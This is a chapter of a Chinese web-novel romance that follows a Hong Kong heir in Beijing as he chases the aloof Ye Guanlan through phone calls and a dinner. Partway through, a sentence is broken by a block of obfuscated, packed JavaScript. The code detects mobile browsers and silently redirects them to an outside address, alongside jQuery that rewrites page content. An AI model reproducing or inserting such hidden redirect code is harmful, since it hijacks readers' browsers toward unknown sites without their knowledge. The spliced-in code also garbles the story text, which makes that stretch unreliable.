王晅挑了挑眉，不依不饶地继续逗他：“哟，直男还带坐人大腿上接吻的？手还搂脖子上了？”一口京片子说得字正腔圆，尾音还故意拖得老长。
杨晟被噎得一愣，随即梗着脖子用港普反驳：“兄弟之间咩关系啦！你同他没这样勾肩搭背过？”边说边比划着，手指间的雪茄随着动作晃出细碎的烟灰。
“嘿，还真让您失望了。”王晅笑得见牙不见眼，故意学着他的腔调，“再说了，哪家直男跟兄弟搂脖子亲嘴啊？你们香港兄弟都这么玩的？”说着拍了拍大腿，“咱内地爷们可不兴这套。”
杨晟被堵得说不出话，悻悻地猛吸了口雪茄。氤氲的烟雾在两人之间弥漫开来，模糊了他微微发红的耳尖。
过了许久，杨晟忽然抬起头，眼神闪烁地瞥了王晅一眼，喉结微微滚动：“上次...那个李砚，你们...”他的声音压得很低，尾音带着几分迟疑。
王晅闻言挑眉，唇角勾起一抹玩味的笑：“怎么？” 他故意拖长了音调，“我们杨大少爷不是号称钢铁直男么？”指尖在玻璃杯沿轻轻划过，发出细微的声响。
“嘁。”杨晟别过脸去，耳根却隐隐发烫。两人之间顿时陷入一种微妙的沉默，空气中仿佛有股电流窜动。
其实杨晟心知肚明。那日在包厢里，叶观澜突如其来的那个吻，还有李砚眼中转瞬即逝的悸动——这些细节像散落的拼图，早在他心里拼凑出完整的图案。只是当时交情尚浅，有些话，不能说也不敢说。
如今时过境迁，这些往事本该如烟散去。可偏偏发生在叶观澜身上的一切，都像被镀上了一层危险的鎏金。
杨晟不自觉地攥紧了拳头。若让人知道叶家后代竟有断袖之癖...那些蛰伏在暗处的势力，怕是立刻就会像闻到血腥的鲨鱼般蜂拥而至。到那时...
他的目光不自觉地飘向窗外，暮色中的紫禁城轮廓模糊，却透着令人窒息的压迫感。
杨晟掐灭了雪茄，站起身来走到窗边。窗外夜色深沉，城市的灯火在远处闪烁。他凝望那一片光海，心中却泛起一丝焦躁。叶观澜总是保持着微妙的距离，让他难以捉摸。
他不知道自己为什么会在意这些，明明他只是想在内地站稳脚跟，可叶观澜的存在，却让他感到一种莫名的压力。
“算了，”杨晟突然开口，语气里带着几分自嘲，“反正我又不是来谈情说爱的。”
王晅端着茶杯，唇角噙着一抹了然的笑意。杨晟的脾气他太清楚了——就像叶观澜曾经评价的那样，像只倔强的猫，越是逼他低头，他越要昂着脖子装高傲。
与其硬碰硬，不如让他自己撞南墙撞到清醒。
房间里一时静默，只有落地窗外簌簌的风声，卷着几片枯叶擦过玻璃。
杨晟站在窗前，指节无意识地敲着窗框，眼神晦暗不明。而王晅则慢条斯理地啜着茶，任由沉默蔓延，既不点破某人的焦躁，也不拆穿他的故作镇定。
……
叶观澜这一晾，就是整整两个月。
杨晟觉得自己像个被耍得团团转的猎物，而叶观澜就是那个游刃有余的猎手，漫不经心地抛下一点饵，等他上钩，又轻飘飘地抽身而退。
消息总是来得猝不及防——有时是王晅在饭局上轻描淡写的一句“观澜今晚在长安俱乐部见客”，有时是朋友圈里一闪而过的定位，等他匆匆赶到时，要么只剩半杯冷掉的茶，要么连服务生都一脸茫然地说：“叶先生？他今天没来过啊。”
最可恨的是那次在燕西高尔夫球场。
杨晟隔着老远就看见叶观澜的白衬衫在阳光下格外扎眼，那人挥杆的姿势优雅得像在拍杂志封面。等他喘着气跑到场边，叶观澜已经收杆走人，只留下球童递来一张字条，上面龙飞凤舞地写着：
「杨少跑得挺快，下次记得穿运动鞋。」
杨晟气得牙痒，一把将字条揉成团，可捏在手心里半晌，又鬼使神差地展开，小心翼翼地折好，塞进西装内袋。那团纸像块烧红的炭，烫得他胸口发闷，可偏偏又舍不得丢掉。
叶观澜若即若离的态度，像根细线，拴在他心脏上，时不时扯一下，让他又疼又痒，却又无可奈何。
到最后，杨晟连生气的力气都没了。
茶几上的手机震了一下，屏幕亮起，王晅的消息跳出来：「今晚三里屯，陈昊组局，观澜也去。」
杨晟冷笑一声，直接把手机扔到沙发上。这种把戏玩多了，连他自己都觉得可笑。
可十分钟后，他还是站在衣帽间的落地镜前，一丝不苟地系着领带，连袖扣都换上了那对低调的铂金款——叶观澜曾经夸过这对好看。
镜子里的人西装笔挺，眉眼锋利，可眼神却出卖了他——那里面藏着的，分明是期待和忐忑。
杨晟自嘲地扯了扯嘴角，心想：“杨晟，你真是犯贱。”
“叶观澜，你够狠。”他对着空气咬牙切齿，“等我抓到你，非得……”话说到一半，自己先笑了。这哪像港岛那个风流倜傥的杨少？分明是个追着心上人跑的愣头青。
落地窗外，CBD的霓虹渐次亮起，绚烂的光影映在玻璃上，衬得他的身影愈发孤寂。他端起那杯早已冷透的咖啡，杯底的方糖沉在褐色的液体里，像块化不开的冰。
他突然想起在香港的日子——半岛酒店的下午茶，兰桂坊的夜场，只要他勾勾手指，就有人前赴后继地凑上来。
可到了北京，他就算把嘴皮子磨破，也没人真正把他当回事。
“扑街！”
他对着玻璃窗骂了句粤语，倒影里的自己像个彻头彻尾的笑话。
来北京两年，他学会了在饭局上自觉坐下位，敬酒时杯沿低人三分，连说话都刻意带上了京腔儿化音。
可那些老北京们看他的眼神，依旧像在看个外来客。那些推杯换盏间的笑脸，那些称兄道弟的场面话，全是虚的。
真正的京圈，从来都握在叶观澜手里。
而那个男人，正用最优雅的方式，教他什么叫——
“规矩”
……
雨丝像银针般斜插/进北京的肌理，将整座城市织进一张潮湿的网里。
杨晟站在落地窗前，指尖抵着冰凉的玻璃，看雨滴在窗面蜿蜒成泪痕。比起香港永远温吞的雨季，北京这场雨下得痛快淋漓，像要把什么陈年旧事都冲刷干净。
咖啡杯沿的指纹已经干涸，第三杯美式早就凉透。他机械地抿了一口，苦涩在舌尖炸开，却压不住记忆里更苦的味道——半山老宅拍卖槌落下的闷响，父亲病榻前监测仪刺耳的蜂鸣。
维港的霓虹在回忆里明明灭灭，可那个灯火通明的港湾，早就没有等他归航的灯塔了。
半年了。
他自嘲地扯松领带，昂贵的真丝布料在掌心皱成一团。
京圈这个镀金牢笼里，他像只折翼的候鸟，既飞不回南方的暖阳，又融不进北方的风雪。而叶观澜......想到这个名字，他下意识摸向西装内袋，那张高尔夫球场的字条还在，边角已经起了毛边。
手机在掌心转了好几圈，杨晟突然按亮了屏幕。通讯录里那个名字刺得他眼眶发烫，喉结滚动间，指尖已经先于理智按下了拨号键。
“喂？”
电流也滤不掉的清冷声线，像雪粒簌簌落在耳膜上。
杨晟的拇指无意识摩挲着窗框，雨水渗进指甲缝
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15404381|168677||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
的凉意让他清醒了几分：“叶生，你一个北京人，怎么比香港地价还难约？”话一出口他就咬住了舌尖——这哪像谈正事，分明是在撒娇。
玻璃杯底磕在大理石台面的脆响传来，接着是钢笔旋盖的轻咔声。
“难约说明有价值。”叶观澜的声音忽然近了，仿佛就贴着耳畔呼吸，“杨少家族当年在太平山收楼时，不也专挑最难啃的骨头？”
窗外的雨突然大了起来。杨晟望着玻璃上扭曲的倒影，看见自己眼底跳动的火苗：“叶少这是把自己当太平山顶的豪宅了？”他故意让袖扣磕出声响，“可惜现在港岛楼市不景气。”
电话那头传来衣料摩擦的窸窣，像是有人换了个更舒服的姿势。
“所以杨少改行做北漂了？”轻飘飘的一句，却精准踩中他所有痛处。
领带突然勒得呼吸困难。杨晟扯开束缚，喉间溢出一声笑：“可不是么，专程来给叶少当跟班。”话里的自嘲掩不住酸涩，“可惜连递名片的资格都没有。”
雨声忽然填满了沉默的间隙。杨晟数到第七滴雨砸在窗沿，叶观澜的声音穿透雨幕：“今晚八点。”背景音里传来纸张翻页的沙响。
电话挂断的忙音像记闷雷。
杨晟怔怔望着窗外，雨幕中的国贸大厦亮起灯火，倒映在积水的路面，竟有几分维港的错觉。他忽然推开窗，任雨水浇湿前襟。
北京深秋的雨带着凛冽的土腥气，却莫名让他想起南中国海的风。
湿透的衬衫贴在背上，凉意渗进骨髓。杨晟却笑了——这场雨，终于下到了他心里。
……
暮色沉沉，雨丝斜织，胡同里的青石板泛着水光，倒映出模糊的灯影。
杨晟撑着伞，循着门牌号找到那家藏在巷子深处的私房菜馆。推开斑驳的木门，老式铜铃“叮铃”一响，扑面而来的是红烧肉的酱香和隐约的京剧唱腔，咿咿呀呀地混在蒸腾的热气里。
王晅带他去的地方，永远都是那些藏在CBD高层的私人会所，水晶吊灯、雪白桌布，连服务生走路都轻得像猫。
而叶观澜偏偏喜欢这种市井烟火气——胡同里的小馆子，老板亲自掌勺，菜单就写在掉漆的黑板上。
他本以为提前十分钟到已经够早，没想到推开包厢门时，叶观澜已经坐在那里。暖黄的灯光笼着他半边侧脸，修长的手指正慢条斯理地烫着紫砂壶，水汽氤氲间，茶香悄无声息地漫开，连空气都变得清雅起来。
“叶少，每次准时得让人无话可说。”杨晟扯了扯被雨水打湿的袖口，拉开椅子坐下，椅脚在木地板上拖出轻微的声响。
叶观澜抬眼看他，目光在他微湿的发梢停留了一瞬，随即垂下眼睫，继续摆弄茶具：“你也挺准时。”语气平淡得像在陈述一个事实。
“那是，叶少的时间可比金子还贵。”杨晟故意拖长了音调，指尖在杯沿上轻轻敲了两下，“我可不敢耽误。”
叶观澜没接话，只是将烫好的白瓷杯推到他面前，茶汤澄澈，映着灯光像一块琥珀。他又递过菜单，动作行云流水，连纸张翻动的声响都恰到好处，仿佛在演绎一场无声的茶道表演。
“看看想吃什么？”
杨晟随手翻了翻菜单，目光却总忍不住往对面瞟。
叶观澜今天穿了件深灰色衬衫，料子挺括，衬得肩线格外利落。袖口随意挽到手肘，露出一截线条分明的小臂，腕骨凸起的弧度恰到好处。他低头写字时，睫毛在眼下投下一小片阴影，衬得整个人愈发清冷疏离。
“叶少看着安排吧。”
杨晟把菜单递回去，指尖不经意擦过对方的手背，那一瞬的触感像是被烫到，他条件反射般缩了回来。